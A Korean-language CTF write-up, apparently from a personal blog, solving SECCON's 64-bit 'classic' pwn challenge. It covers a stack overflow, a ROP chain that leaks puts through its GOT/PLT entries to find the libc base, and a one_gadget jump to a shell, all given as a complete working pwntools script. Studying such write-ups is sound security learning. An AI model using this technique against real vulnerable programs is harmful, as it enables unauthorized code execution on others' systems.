Dyrandy

[SECCON] Classic - pwn (ROP, GOT, PLT) 본문

CTF WriteUp

[SECCON] Classic - pwn (ROP, GOT, PLT)

Dyrandy 2018. 11. 30. 01:50

SECCON 대회에 사정이 있어서 참가를 하지 못했지만,

친구한테 문제들을 받아 혼자 따로 풀어 보려 한다.


classic 문제는 ROP, GOT, PLT를 이용하는 문제다.

64비트 기준이라 조금 생소해서 힘들었다...


먼저 바이너리를 ida로 열어보면 위와 같이 나온다.

요기서 알아야할 사실은 바로 bp-40이다.

40은 16진수로 10진수로 변환해주면 64다.

즉, rbp로 부터 64비트 떨어진곳에 v4가 존재하고,

+8을 해주면 바로 rip가 된다.



classic을 실행시켜보면 위와 같이 나온다.


큰 그림 대략 이렇다.


1. BOF를 터트려 RIP를 바꿔야한다.

2. 함수의 주소를 leak 시켜준다.

3. leak된 주소로 base를 구한다.

4. base를 이용해 /bin/sh를 실행 시킨다.


이 과정을 진행하기 위해서는 우리는 먼저 사전 조사를 해야한다.



먼저 파일은 64비트이고 동적이다.

문제 자체적으로 libc를 주지만, libc-2.23이다....


우분투 18버젼에서는 안된다...


해서 우분투 로컬 libc를 사용하였다.



lddl를 이용해서 어떤 라이브러리를 쓰는지 확인하고



checksec을 통해 보호 기법을 확인했다.

nx가 걸려있다.



one_gadget을 이용해 /bin/sh의 주소를 확인했다.


64비트 바이너리를 rop로 공격하기에 앞서 알아야 하는것이 있다.


64비트는 인자를 저장할때 스택에 저장시키지 않고, 레지스터에 저장시킨다.


-----register field-----


rdi : 첫번째인자


rsi: 두번째인자


rdx: 세번째인자


rcx: 네번째인자


r8: 다섯번째인자


r9: 여섯번째인자


-------stack field-------


r10(%rsp): 일곱번째인자


r11, 0x8(%rsp): 여덟번째인자


r12  ....


순서는 위와같다.



우리의 공격 방법은 간단하다.


1. 더미 72를 넣어줘 RIP에 맞춘다.

2. ROPgadget을 통해 pop rdi ; ret을 한다

 (스택 상에 제일 상단 것을 뽑아 rdi에 저장)

3. PUTS의 GOT주소를 넣고

4. PUTS의 PLT주소를 넣는다

5. Main 주소로 다시 돌아온다.


6. leak된 puts의 주소를 구한다

7. leak된 puts의 주소를 puts의 offset으로 빼준다 = base

8. base에 one_gadget으로 찾은 쉘 offset을 더해준다

9. 다시 보낸다


위 과정을 보면 왜 GOT PLT를 넣어? 라고 생각할수도 있는데,

그 이유는 puts로 가서 puts(puts@plt)를 실행 시키는 것이다.

 그러면 우리가 원하던 puts의 실 주소가 나오게 되고, 


다시 메인으로 돌아가 우리가 찾은 주소를 토대로 공격을 할 수 있기 때문이다.


먼저 ROPgadget을 보자


ROPgadget --binary ./classic | grep "pop rdi"



ROPgadget으로 pop rdi ; ret의 주소를 찾았다.


다음은 puts의 offset을 구하자.


nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep "puts"



_IO_puts가 우리가 원하는 puts의 offset이다.


위 명령어는 어디서나 사용이 가능하다.




위는 plt의 주소




다음으로는 got의 주소


이렇게 해서 ex코드는 짜보면



#!/usr/bin/env python
#wolfgang

from pwn import *
one = [0x4f2c5, 0x4f322, 0x10a38c]
p = process('./classic')

puts_off = 0x00000000000809c0
puts_got = 0x0000000000601018

payload = ""
payload += "A"*72
payload += p64(0x0000000000400753) # pop rdi ; ret
payload += p64(0x0000000000601018) # puts@got
payload += p64(0x0000000000400520) # puts@plt
payload += p64(0x00000000004006A9) # main func

p.recvuntil(">> ")
p.sendline(payload)
p.recvuntil("Have a nice pwn!!\n")

puts_add = str(p.recvline()[:-1])
puts_add = u64(puts_add + '\x00\x00')
print hex(puts_add)

base = (puts_add - puts_off)
print hex(base)

payload = ""
payload += "A"*72
payload += p64(base + one[2])
p.sendline(payload)
p.interactive()


실행 시키면 완성이다.




Comments